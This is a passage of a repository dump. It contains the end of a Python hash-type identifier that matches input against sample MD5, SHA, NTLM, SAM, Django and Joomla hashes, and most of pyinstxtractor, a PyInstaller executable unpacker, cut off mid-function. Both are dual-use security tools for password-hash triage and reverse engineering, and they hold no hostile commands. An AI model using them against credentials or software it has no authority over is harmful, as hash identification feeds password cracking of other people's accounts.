len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 368 | jerar.append("109400") 369 | def sha1md5pass(hash): 370 | hs='fa960056c0dea57de94776d3759fb555a15cae87' 371 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 372 | jerar.append("1094202") 373 | def sha1md5passsalt(hash): 374 | hs='1dad2b71432d83312e61d25aeb627593295bcc9a' 375 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 376 | jerar.append("109440") 377 | def sha1md5sha1pass(hash): 378 | hs='8bceaeed74c17571c15cdb9494e992db3c263695' 379 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 380 | jerar.append("109460") 381 | def sha1sha1pass(hash): 382 | hs='3109b810188fcde0900f9907d2ebcaa10277d10e' 383 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 384 | jerar.append("109480") 385 | def sha1sha1passsalt(hash): 386 | hs='780d43fa11693b61875321b6b54905ee488d7760' 387 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 388 | jerar.append("109500") 389 | def sha1sha1passsubstrpass03(hash): 390 | hs='5ed6bc680b59c580db4a38df307bd4621759324e' 391 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 392 | jerar.append("109520") 393 | def sha1sha1saltpass(hash): 394 | hs='70506bac605485b4143ca114cbd4a3580d76a413' 395 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 396 | jerar.append("109540") 397 | def sha1sha1sha1pass(hash): 398 | hs='3328ee2a3b4bf41805bd6aab8e894a992fa91549' 399 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 400 | jerar.append("109560") 401 | def sha1strtolowerusernamepass(hash): 402 | hs='79f575543061e158c2da3799f999eb7c95261f07' 403 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 404 | jerar.append("109580") 405 | 406 | def Haval192(hash): 407 | hs='cd3a90a3bebd3fa6b6797eba5dab8441f16a7dfa96c6e641' 408 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 409 | jerar.append("110040") 410 | def Haval192HMAC(hash): 411 | hs='39b4d8ecf70534e2fd86bb04a877d01dbf9387e640366029' 412 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 413 | jerar.append("110080") 414 | def Tiger192(hash): 415 | hs='c086184486ec6388ff81ec9f235287270429b2253b248a70' 416 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 417 | jerar.append("110020") 418 | def Tiger192HMAC(hash): 419 | hs='8e914bb64353d4d29ab680e693272d0bd38023afa3943a41' 420 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 421 | jerar.append("110060") 422 | 423 | def MD5passsaltjoomla1(hash): 424 | hs='35d1c0d69a2df62be2df13b087343dc9:BeKMviAfcXeTPTlX' 425 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[32:33].find(':')==0: 426 | jerar.append("112020") 427 | 428 | def SHA1Django(hash): 429 | hs='sha1$Zion3R$299c3d65a0dcab1fc38421783d64d0ecf4113448' 430 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:5].find('sha1$')==0: 431 | jerar.append("113020") 432 | 433 | def Haval224(hash): 434 | hs='f65d3c0ef6c56f4c74ea884815414c24dbf0195635b550f47eac651a' 435 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 436 | jerar.append("114040") 437 | def Haval224HMAC(hash): 438 | hs='f10de2518a9f7aed5cf09b455112114d18487f0c894e349c3c76a681' 439 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 440 | jerar.append("114080") 441 | def SHA224(hash): 442 | hs='e301f414993d5ec2bd1d780688d37fe41512f8b57f6923d054ef8e59' 443 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 444 | jerar.append("114020") 445 | def SHA224HMAC(hash): 446 | hs='c15ff86a859892b5e95cdfd50af17d05268824a6c9caaa54e4bf1514' 447 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 448 | jerar.append("114060") 449 | 450 | def SHA256(hash): 451 | hs='2c740d20dab7f14ec30510a11f8fd78b82bc3a711abe8a993acdb323e78e6d5e' 452 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 453 | jerar.append("115020") 454 | def SHA256HMAC(hash): 455 | hs='d3dd251b7668b8b6c12e639c681e88f2c9b81105ef41caccb25fcde7673a1132' 456 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 457 | jerar.append("115120") 458 | def Haval256(hash): 459 | hs='7169ecae19a5cd729f6e9574228b8b3c91699175324e6222dec569d4281d4a4a' 460 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 461 | jerar.append("115040") 462 | def Haval256HMAC(hash): 463 | hs='6aa856a2cfd349fb4ee781749d2d92a1ba2d38866e337a4a1db907654d4d4d7a' 464 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 465 | jerar.append("115140") 466 | def GOSTR341194(hash): 467 | hs='ab709d384cce5fda0793becd3da0cb6a926c86a8f3460efb471adddee1c63793' 468 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 469 | jerar.append("115060") 470 | def RipeMD256(hash): 471 | hs='5fcbe06df20ce8ee16e92542e591bdea706fbdc2442aecbf42c223f4461a12af' 472 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 473 | jerar.append("115080") 474 | def RipeMD256HMAC(hash): 475 | hs='43227322be1b8d743e004c628e0042184f1288f27c13155412f08beeee0e54bf' 476 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 477 | jerar.append("115160") 478 | def SNEFRU256(hash): 479 | hs='3a654de48e8d6b669258b2d33fe6fb179356083eed6ff67e27c5ebfa4d9732bb' 480 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 481 | jerar.append("115100") 482 | def SNEFRU256HMAC(hash): 483 | hs='4e9418436e301a488f675c9508a2d518d8f8f99e966136f2dd7e308b194d74f9' 484 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 485 | jerar.append("115180") 486 | def SHA256md5pass(hash): 487 | hs='b419557099cfa18a86d1d693e2b3b3e979e7a5aba361d9c4ec585a1a70c7bde4' 488 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 489 | jerar.append("115200") 490 | def SHA256sha1pass(hash): 491 | hs='afbed6e0c79338dbfe0000efe6b8e74e3b7121fe73c383ae22f5b505cb39c886' 492 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 493 | jerar.append("115220") 494 | 495 | def MD5passsaltjoomla2(hash): 496 | hs='fb33e01e4f8787dc8beb93dac4107209:fxJUXVjYRafVauT77Cze8XwFrWaeAYB2' 497 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[32:33].find(':')==0: 498 | jerar.append("116020") 499 | def SAM(hash): 500 | hs='4318B176C3D8E3DEAAD3B435B51404EE:B7C899154197E8A2A33121D76A240AB5' 501 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash.islower()==False and hash[32:33].find(':')==0: 502 | jerar.append("116040") 503 | 504 | def SHA256Django(hash): 505 | hs='sha256$Zion3R$9e1a08aa28a22dfff722fad7517bae68a55444bb5e2f909d340767cec9acf2c3' 506 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:6].find('sha256')==0: 507 | jerar.append("117020") 508 | 509 | def RipeMD320(hash): 510 | hs='b4f7c8993a389eac4f421b9b3b2bfb3a241d05949324a8dab1286069a18de69aaf5ecc3c2009d8ef' 511 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 512 | jerar.append("118020") 513 | def RipeMD320HMAC(hash): 514 | hs='244516688f8ad7dd625836c0d0bfc3a888854f7c0161f01de81351f61e98807dcd55b39ffe5d7a78' 515 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 516 | jerar.append("118040") 517 | 518 | def SHA384(hash): 519 | hs='3b21c44f8d830fa55ee9328a7713c6aad548fe6d7a4a438723a0da67c48c485220081a2fbc3e8c17fd9bd65f8d4b4e6b' 520 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 521 | jerar.append("119020") 522 | def SHA384HMAC(hash): 523 | hs='bef0dd791e814d28b4115eb6924a10beb53da47d463171fe8e63f68207521a4171219bb91d0580bca37b0f96fddeeb8b' 524 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 525 | jerar.append("119040") 526 | 527 | def SHA256s(hash): 528 | hs='$6$g4TpUQzk$OmsZBJFwvy6MwZckPvVYfDnwsgktm2CckOlNJGy9HNwHSuHFvywGIuwkJ6Bjn3kKbB6zoyEjIYNMpHWBNxJ6g.' 529 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:3].find('$6$')==0: 530 | jerar.append("120020") 531 | 532 | def SHA384Django(hash): 533 | hs='sha384$Zion3R$88cfd5bc332a4af9f09aa33a1593f24eddc01de00b84395765193c3887f4deac46dc723ac14ddeb4d3a9b958816b7bba' 534 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:6].find('sha384')==0: 535 | jerar.append("121020") 536 | 537 | def SHA512(hash): 538 | hs='ea8e6f0935b34e2e6573b89c0856c81b831ef2cadfdee9f44eb9aa0955155ba5e8dd97f85c73f030666846773c91404fb0e12fb38936c56f8cf38a33ac89a24e' 539 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 540 | jerar.append("122020") 541 | def SHA512HMAC(hash): 542 | hs='dd0ada8693250b31d9f44f3ec2d4a106003a6ce67eaa92e384b356d1b4ef6d66a818d47c1f3a2c6e8a9a9b9bdbd28d485e06161ccd0f528c8bbb5541c3fef36f' 543 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 544 | jerar.append("122060") 545 | def Whirlpool(hash): 546 | hs='76df96157e632410998ad7f823d82930f79a96578acc8ac5ce1bfc34346cf64b4610aefa8a549da3f0c1da36dad314927cebf8ca6f3fcd0649d363c5a370dddb' 547 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 548 | jerar.append("122040") 549 | def WhirlpoolHMAC(hash): 550 | hs='77996016cf6111e97d6ad31484bab1bf7de7b7ee64aebbc243e650a75a2f9256cef104e504d3cf29405888fca5a231fcac85d36cd614b1d52fce850b53ddf7f9' 551 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 552 | jerar.append("122080") 553 | 554 | try: 555 | jerar=[] 556 | h = argv[1] 557 | 558 | ADLER32(h); CRC16(h); CRC16CCITT(h); CRC32(h); CRC32B(h); DESUnix(h); DomainCachedCredentials(h); FCS16(h); GHash323(h); GHash325(h); GOSTR341194(h); Haval128(h); Haval128HMAC(h); Haval160(h); Haval160HMAC(h); Haval192(h); Haval192HMAC(h); Haval224(h); Haval224HMAC(h); Haval256(h); Haval256HMAC(h); LineageIIC4(h); MD2(h); MD2HMAC(h); MD4(h); MD4HMAC(h); MD5(h); MD5APR(h); MD5HMAC(h); MD5HMACWordpress(h); MD5phpBB3(h); MD5Unix(h); MD5Wordpress(h); MD5Half(h); MD5Middle(h); MD5passsaltjoomla1(h); MD5passsaltjoomla2(h); MySQL(h); MySQL5(h); MySQL160bit(h); NTLM(h); RAdminv2x(h); RipeMD128(h); RipeMD128HMAC(h); RipeMD160(h); RipeMD160HMAC(h); RipeMD256(h); RipeMD256HMAC(h); RipeMD320(h); RipeMD320HMAC(h); SAM(h); SHA1(h); SHA1Django(h); SHA1HMAC(h); SHA1MaNGOS(h); SHA1MaNGOS2(h); SHA224(h); SHA224HMAC(h); SHA256(h); SHA256s(h); SHA256Django(h); SHA256HMAC(h); SHA256md5pass(h); SHA256sha1pass(h); SHA384(h); SHA384Django(h); SHA384HMAC(h); SHA512(h); SHA512HMAC(h); SNEFRU128(h); SNEFRU128HMAC(h); SNEFRU256(h); SNEFRU256HMAC(h); Tiger128(h); Tiger128HMAC(h); Tiger160(h); Tiger160HMAC(h); Tiger192(h); Tiger192HMAC(h); Whirlpool(h); WhirlpoolHMAC(h); XOR32(h); md5passsalt(h); md5saltmd5pass(h); md5saltpass(h); md5saltpasssalt(h); md5saltpassusername(h); md5saltmd5pass(h); md5saltmd5passsalt(h); md5saltmd5passsalt(h); md5saltmd5saltpass(h); md5saltmd5md5passsalt(h); md5username0pass(h); md5usernameLFpass(h); md5usernamemd5passsalt(h); md5md5pass(h); md5md5passsalt(h); md5md5passmd5salt(h); md5md5saltpass(h); md5md5saltmd5pass(h); md5md5usernamepasssalt(h); md5md5md5pass(h); md5md5md5md5pass(h); md5md5md5md5md5pass(h); md5sha1pass(h); md5sha1md5pass(h); md5sha1md5sha1pass(h); md5strtouppermd5pass(h); sha1passsalt(h); sha1saltpass(h); sha1saltmd5pass(h); sha1saltmd5passsalt(h); sha1saltsha1pass(h); sha1saltsha1saltsha1pass(h); sha1usernamepass(h); sha1usernamepasssalt(h); sha1md5pass(h); sha1md5passsalt(h); sha1md5sha1pass(h); sha1sha1pass(h); sha1sha1passsalt(h); sha1sha1passsubstrpass03(h); sha1sha1saltpass(h); sha1sha1sha1pass(h); sha1strtolowerusernamepass(h) 559 | 560 | if len(jerar)==0: 561 | 562 | print("\n Not Found.") 563 | elif len(jerar)>2: 564 | jerar.sort() 565 | print("\nPossible Hashs:") 566 | print("[+] "+str(algorithms[jerar[0]])) 567 | print("[+] "+str(algorithms[jerar[1]])) 568 | print("\nLeast Possible Hashs:") 569 | for a in range(int(len(jerar))-2): 570 | print("[+] "+str(algorithms[jerar[a+2]])) 571 | else: 572 | jerar.sort() 573 | print("\nPossible Hashs:") 574 | for a in range(len(jerar)): 575 | print("[+] "+str(algorithms[jerar[a]])) 576 | 577 | first = None 578 | except KeyboardInterrupt: 579 | print("\n\n\tBye!") -------------------------------------------------------------------------------- /plugin/_lib/pyinstxtractor.py: -------------------------------------------------------------------------------- 1 | """ 2 | PyInstaller Extractor v2.0 (Supports pyinstaller 6.12.0, 6.11.1, 6.11.0, 6.10.0, 6.9.0, 6.8.0, 6.7.0, 6.6.0, 6.5.0, 6.4.0, 6.3.0, 6.2.0, 6.1.0, 6.0.0, 5.13.2, 5.13.1, 5.13.0, 5.12.0, 5.11.0, 5.10.1, 5.10.0, 5.9.0, 5.8.0, 5.7.0, 5.6.2, 5.6.1, 5.6, 5.5, 5.4.1, 5.4, 5.3, 5.2, 5.1, 5.0.1, 5.0, 4.10, 4.9, 4.8, 4.7, 4.6, 4.5.1, 4.5, 4.4, 4.3, 4.2, 4.1, 4.0, 3.6, 3.5, 3.4, 3.3, 3.2, 3.1, 3.0, 2.1, 2.0) 3 | Author : Extreme Coders 4 | E-mail : extremecoders(at)hotmail(dot)com 5 | Web : https://0xec.blogspot.com 6 | Date : 26-March-2020 7 | Url : https://github.com/extremecoders-re/pyinstxtractor 8 | 9 | For any suggestions, leave a comment on 10 | https://forum.tuts4you.com/topic/34455-pyinstaller-extractor/ 11 | 12 | This script extracts a pyinstaller generated executable file. 13 | Pyinstaller installation is not needed. The script has it all. 14 | 15 | For best results, it is recommended to run this script in the 16 | same version of python as was used to create the executable. 17 | This is just to prevent unmarshalling errors(if any) while 18 | extracting the PYZ archive. 19 | 20 | Usage : Just copy this script to the directory where your exe resides 21 | and run the script with the exe file name as a parameter 22 | 23 | C:\\path\\to\\exe\\>python pyinstxtractor.py 24 | $ /path/to/exe/python pyinstxtractor.py 25 | 26 | Licensed under GNU General Public License (GPL) v3. 27 | You are free to modify this source. 28 | 29 | CHANGELOG 30 | ================================================ 31 | 32 | Version 1.1 (Jan 28, 2014) 33 | ------------------------------------------------- 34 | - First Release 35 | - Supports only pyinstaller 2.0 36 | 37 | Version 1.2 (Sept 12, 2015) 38 | ------------------------------------------------- 39 | - Added support for pyinstaller 2.1 and 3.0 dev 40 | - Cleaned up code 41 | - Script is now more verbose 42 | - Executable extracted within a dedicated sub-directory 43 | 44 | (Support for pyinstaller 3.0 dev is experimental) 45 | 46 | Version 1.3 (Dec 12, 2015) 47 | ------------------------------------------------- 48 | - Added support for pyinstaller 3.0 final 49 | - Script is compatible with both python 2.x & 3.x (Thanks to Moritz Kroll @ Avira Operations GmbH & Co. KG) 50 | 51 | Version 1.4 (Jan 19, 2016) 52 | ------------------------------------------------- 53 | - Fixed a bug when writing pyc files >= version 3.3 (Thanks to Daniello Alto: https://github.com/Djamana) 54 | 55 | Version 1.5 (March 1, 2016) 56 | ------------------------------------------------- 57 | - Added support for pyinstaller 3.1 (Thanks to Berwyn Hoyt for reporting) 58 | 59 | Version 1.6 (Sept 5, 2016) 60 | ------------------------------------------------- 61 | - Added support for pyinstaller 3.2 62 | - Extractor will use a random name while extracting unnamed files. 63 | - For encrypted pyz archives it will dump the contents as is. Previously, the tool would fail. 64 | 65 | Version 1.7 (March 13, 2017) 66 | ------------------------------------------------- 67 | - Made the script compatible with python 2.6 (Thanks to Ross for reporting) 68 | 69 | Version 1.8 (April 28, 2017) 70 | ------------------------------------------------- 71 | - Support for sub-directories in .pyz files (Thanks to Moritz Kroll @ Avira Operations GmbH & Co. KG) 72 | 73 | Version 1.9 (November 29, 2017) 74 | ------------------------------------------------- 75 | - Added support for pyinstaller 3.3 76 | - Display the scripts which are run at entry (Thanks to Michael Gillespie @ malwarehunterteam for the feature request) 77 | 78 | Version 2.0 (March 26, 2020) 79 | ------------------------------------------------- 80 | - Project migrated to github 81 | - Supports pyinstaller 3.6 82 | - Added support for Python 3.7, 3.8 83 | - The header of all extracted pyc's are now automatically fixed 84 | """ 85 | 86 | from __future__ import print_function 87 | import os 88 | import struct 89 | import marshal 90 | import zlib 91 | import sys 92 | from uuid import uuid4 as uniquename 93 | 94 | 95 | class CTOCEntry: 96 | def __init__(self, position, cmprsdDataSize, uncmprsdDataSize, cmprsFlag, typeCmprsData, name): 97 | self.position = position 98 | self.cmprsdDataSize = cmprsdDataSize 99 | self.uncmprsdDataSize = uncmprsdDataSize 100 | self.cmprsFlag = cmprsFlag 101 | self.typeCmprsData = typeCmprsData 102 | self.name = name 103 | 104 | 105 | class PyInstArchive: 106 | PYINST20_COOKIE_SIZE = 24 # For pyinstaller 2.0 107 | PYINST21_COOKIE_SIZE = 24 + 64 # For pyinstaller 2.1+ 108 | MAGIC = b'MEI\014\013\012\013\016' # Magic number which identifies pyinstaller 109 | 110 | def __init__(self, path): 111 | self.filePath = path 112 | self.pycMagic = b'\0' * 4 113 | self.barePycList = [] # List of pyc's whose headers have to be fixed 114 | 115 | 116 | def open(self): 117 | try: 118 | self.fPtr = open(self.filePath, 'rb') 119 | self.fileSize = os.stat(self.filePath).st_size 120 | except: 121 | print('[!] Error: Could not open {0}'.format(self.filePath)) 122 | return False 123 | return True 124 | 125 | 126 | def close(self): 127 | try: 128 | self.fPtr.close() 129 | except: 130 | pass 131 | 132 | 133 | def checkFile(self): 134 | print('[+] Processing {0}'.format(self.filePath)) 135 | 136 | searchChunkSize = 8192 137 | endPos = self.fileSize 138 | self.cookiePos = -1 139 | 140 | if endPos < len(self.MAGIC): 141 | print('[!] Error : File is too short or truncated') 142 | return False 143 | 144 | while True: 145 | startPos = endPos - searchChunkSize if endPos >= searchChunkSize else 0 146 | chunkSize = endPos - startPos 147 | 148 | if chunkSize < len(self.MAGIC): 149 | break 150 | 151 | self.fPtr.seek(startPos, os.SEEK_SET) 152 | data = self.fPtr.read(chunkSize) 153 | 154 | offs = data.rfind(self.MAGIC) 155 | 156 | if offs != -1: 157 | self.cookiePos = startPos + offs 158 | break 159 | 160 | endPos = startPos + len(self.MAGIC) - 1 161 | 162 | if startPos == 0: 163 | break 164 | 165 | if self.cookiePos == -1: 166 | print('[!] Error : Missing cookie, unsupported pyinstaller version or not a pyinstaller archive') 167 | return False 168 | 169 | self.fPtr.seek(self.cookiePos + self.PYINST20_COOKIE_SIZE, os.SEEK_SET) 170 | 171 | if b'python' in self.fPtr.read(64).lower(): 172 | print('[+] Pyinstaller version: 2.1+') 173 | self.pyinstVer = 21 # pyinstaller 2.1+ 174 | else: 175 | self.pyinstVer = 20 # pyinstaller 2.0 176 | print('[+] Pyinstaller version: 2.0') 177 | 178 | return True 179 | 180 | 181 | def getCArchiveInfo(self): 182 | try: 183 | if self.pyinstVer == 20: 184 | self.fPtr.seek(self.cookiePos, os.SEEK_SET) 185 | 186 | # Read CArchive cookie 187 | (magic, lengthofPackage, toc, tocLen, pyver) = \ 188 | struct.unpack('!8siiii', self.fPtr.read(self.PYINST20_COOKIE_SIZE)) 189 | 190 | elif self.pyinstVer == 21: 191 | self.fPtr.seek(self.cookiePos, os.SEEK_SET) 192 | 193 | # Read CArchive cookie 194 | (magic, lengthofPackage, toc, tocLen, pyver, pylibname) = \ 195 | struct.unpack('!8sIIii64s', self.fPtr.read(self.PYINST21_COOKIE_SIZE)) 196 | 197 | except: 198 | print('[!] Error : The file is not a pyinstaller archive') 199 | return False 200 | 201 | self.pymaj, self.pymin = (pyver//100, pyver%100) if pyver >= 100 else (pyver//10, pyver%10) 202 | print('[+] Python version: {0}.{1}'.format(self.pymaj, self.pymin)) 203 | 204 | # Additional data after the cookie 205 | tailBytes = self.fileSize - self.cookiePos - (self.PYINST20_COOKIE_SIZE if self.pyinstVer == 20 else self.PYINST21_COOKIE_SIZE) 206 | 207 | # Overlay is the data appended at the end of the PE 208 | self.overlaySize = lengthofPackage + tailBytes 209 | self.overlayPos = self.fileSize - self.overlaySize 210 | self.tableOfContentsPos = self.overlayPos + toc 211 | self.tableOfContentsSize = tocLen 212 | 213 | print('[+] Length of package: {0} bytes'.format(lengthofPackage)) 214 | return True 215 | 216 | 217 | def parseTOC(self): 218 | # Go to the table of contents 219 | self.fPtr.seek(self.tableOfContentsPos, os.SEEK_SET) 220 | 221 | self.tocList = [] 222 | parsedLen = 0 223 | 224 | # Parse table of contents 225 | while parsedLen < self.tableOfContentsSize: 226 | (entrySize, ) = struct.unpack('!i', self.fPtr.read(4)) 227 | nameLen = struct.calcsize('!iIIIBc') 228 | 229 | (entryPos, cmprsdDataSize, uncmprsdDataSize, cmprsFlag, typeCmprsData, name) = \ 230 | struct.unpack( \ 231 | '!IIIBc{0}s'.format(entrySize - nameLen), \ 232 | self.fPtr.read(entrySize - 4)) 233 | 234 | try: 235 | name = name.decode("utf-8").rstrip("\0") 236 | except UnicodeDecodeError: 237 | newName = str(uniquename()) 238 | print('[!] Warning: File name {0} contains invalid bytes. Using random name {1}'.format(name, newName)) 239 | name = newName 240 | 241 | # Prevent writing outside the extraction directory 242 | if name.startswith("/"): 243 | name = name.lstrip("/") 244 | 245 | if len(name) == 0: 246 | name = str(uniquename()) 247 | print('[!] Warning: Found an unamed file in CArchive. Using random name {0}'.format(name)) 248 | 249 | self.tocList.append( \ 250 | CTOCEntry( \ 251 | self.overlayPos + entryPos, \ 252 | cmprsdDataSize, \ 253 | uncmprsdDataSize, \ 254 | cmprsFlag, \ 255 | typeCmprsData, \ 256 | name \ 257 | )) 258 | 259 | parsedLen += entrySize 260 | print('[+] Found {0} files in CArchive'.format(len(self.tocList))) 261 | 262 | 263 | def _writeRawData(self, filepath, data): 264 | nm = filepath.replace('\\', os.path.sep).replace('/', os.path.sep).replace('..', '__') 265 | nmDir = os.path.dirname(nm) 266 | if nmDir != '' and not os.path.exists(nmDir): # Check if path exists, create if not 267 | os.makedirs(nmDir) 268 | 269 | with open(nm, 'wb') as f: 270 | f.write(data) 271 | 272 | 273 | def extractFiles(self): 274 | print('[+] Beginning extraction...please standby') 275 | extractionDir = os.path.join(os.getcwd(), os.path.basename(self.filePath) + '_extracted') 276 | 277 | if not os.path.exists(extractionDir): 278 | os.mkdir(extractionDir) 279 | 280 | os.chdir(extractionDir) 281 | 282 | for entry in self.tocList: 283 | self.fPtr.seek(entry.position, os.SEEK_SET) 284 | data = self.fPtr.read(entry.cmprsdDataSize) 285 | 286 | if entry.cmprsFlag == 1: 287 | try: 288 | data = zlib.decompress(data) 289 | except zlib.error: 290 | print('[!] Error : Failed to decompress {0}'.format(entry.name)) 291 | continue 292 | # Malware may tamper with the uncompressed size 293 | # Comment out the assertion in such a case 294 | assert len(data) == entry.uncmprsdDataSize # Sanity Check 295 | 296 | if entry.typeCmprsData == b'd' or entry.typeCmprsData == b'o': 297 | # d -> ARCHIVE_ITEM_DEPENDENCY 298 | # o -> ARCHIVE_ITEM_RUNTIME_OPTION 299 | # These are runtime options, not files 300 | continue 301 | 302 | basePath = os.path.dirname(entry.name) 303 | if basePath != '': 304 | # Check if path exists, create if not 305 | if not os.path.exists(basePath): 306 | os.makedirs(basePath) 307 | 308 | if entry.typeCmprsData == b's': 309 | # s -> ARCHIVE_ITEM_PYSOURCE 310 | # Entry point are expected to be python scripts 311 | print('[+] Possible entry point: {0}.pyc'.format(entry.name)) 312 | 313 | if self.pycMagic == b'\0' * 4: 314 | # if we don't have the pyc header yet, fix them in a later pass 315 | self.barePycList.append(entry.name + '.pyc') 316 | self._writePyc(entry.name + '.pyc', data) 317 | 318 | elif entry.typeCmprsData == b'M' or entry.typeCmprsData == b'm': 319 | # M -> ARCHIVE_ITEM_PYPACKAGE 320 | # m -> ARCHIVE_ITEM_PYMODULE 321 | # packages and modules are pyc files with their header intact 322 | 323 | # From PyInstaller 5.3 and above pyc headers are no longer stored 324 | # https://github.com/pyinstaller/pyinstaller/commit/a97fdf 325 | if data[2:4] == b'\r\n': 326 | # < pyinstaller 5.3 327 | if self.pycMagic == b'\0' * 4: 328 | self.pycMagic = data[0:4] 329 | self._writeRawData(entry.name + '.pyc', data) 330 | 331 | else: 332 | # >= pyinstaller 5.3 333 | if self.pycMagic == b'\0' * 4: 334 | # if we don't have the pyc header yet, fix them in a later pass 335 | self.barePycList.append(entry.name + '.pyc') 336 | 337 | self._writePyc(entry.name + '.pyc', data) 338 | 339 | else: 340 | self._writeRawData(entry.name, data) 341 | 342 | if entry.typeCmprsData == b'z' or entry.typeCmprsData == b'Z': 343 | self._extractPyz(entry.name) 344 | 345 | # Fix bare pyc's if any 346 | self._fixBarePycs() 347 | 348 | 349 | def _fixBarePycs(self): 350 | for pycFile in self.barePycList: 351 | with open(pycFile, 'r+b') as pycFile: 352 | # Overwrite the first four bytes 353 | pycFile.write(self.pycMagic) 354 | 355 | 356 | def _writePyc(self, filename, data): 357 | with open(filename, 'wb') as pycFile: 358 | pycFile.write(self.pycMagic) # pyc magic 359 | 360 | if self.pymaj >= 3 and self.pymin >= 7: # PEP 552 -- Deterministic pycs 361 | pycFile.write(b'\0' * 4) # Bitfield 362 | pycFile.write(b'\0' * 8) # (Timestamp + size) || hash 363 | 364 | else: 365 | pycFile.write(b'\0' * 4) # Timestamp 366 | if self.pymaj >= 3 and self.pymin >= 3: 367 | pycFile.write(b'\0' * 4) # Size parameter added in Python 3.3 368 | 369 | pycFile.write(data) 370 | 371 | 372 | def _extractPyz(self, name): 373 | dirName = name + '_extracted' 374 | # Create a directory for the contents of the pyz 375 | if not os.path.exists(dirName): 376 | os.mkdir(dirName) 377 | 378 | with open(name, 'rb') as f: 379 | pyzMagic = f.read(4) 380 | assert pyzMagic == b'PYZ\0' # Sanity Check 381 | 382 | pyzPycMagic = f.read(4) # Python magic value 383 | 384 | if self.pycMagic == b'\0' * 4: 385 | self.pycMagic = pyzPycMagic 386 | 387 | elif self.pycMagic != pyzPycMagic: 388 | self.pycMagic = pyzPycMagic 389 | print('[!] Warning: pyc magic of files inside PYZ archive are different from those in CArchive') 390 | 391 | # Skip PYZ extraction if not running under the same python version 392 | if self.pymaj != sys.version_info.major or self.pymin != sys.version_info.minor: 393 | print('[!] Warning: This script is running in a different Python version than the one used to build the executable.') 394 | print('[!] Please run this script in Python {0}.{1} to prevent extraction errors during unmarshalling'.format(self.pymaj, self.pymin)) 395 | print('[!] Skipping pyz extraction') 396 | return 397 | 398 | (tocPosition, ) = struct.unpack('!i', f.read(4)) 399 | f.seek(tocPosition, os.SEEK_SET) 400 | 401 | try: 402 | toc = marshal.load(f) 403 | except: 404 | print('[!] Unmarshalling FAILED. Cannot extract {0}. Extracting remaining files.'.format(name)) 405 | return 406 | 407 | print('[+] Found {0} files in PYZ archive'.format(len(toc))) 408 | 409 | # From pyinstaller 3.1+ toc is a list of tuples 410 | if type(toc) == list: 411 | toc = dict(toc) 412 | 413 | for key in toc.keys(): 414 | (ispkg, pos, length) = toc[key] 415 | f.seek(pos, os.SEEK_SET) 416 | fileName = key 417 | 418 | try: 419 | # for Python > 3.3 some keys are bytes object some are str object 420 | 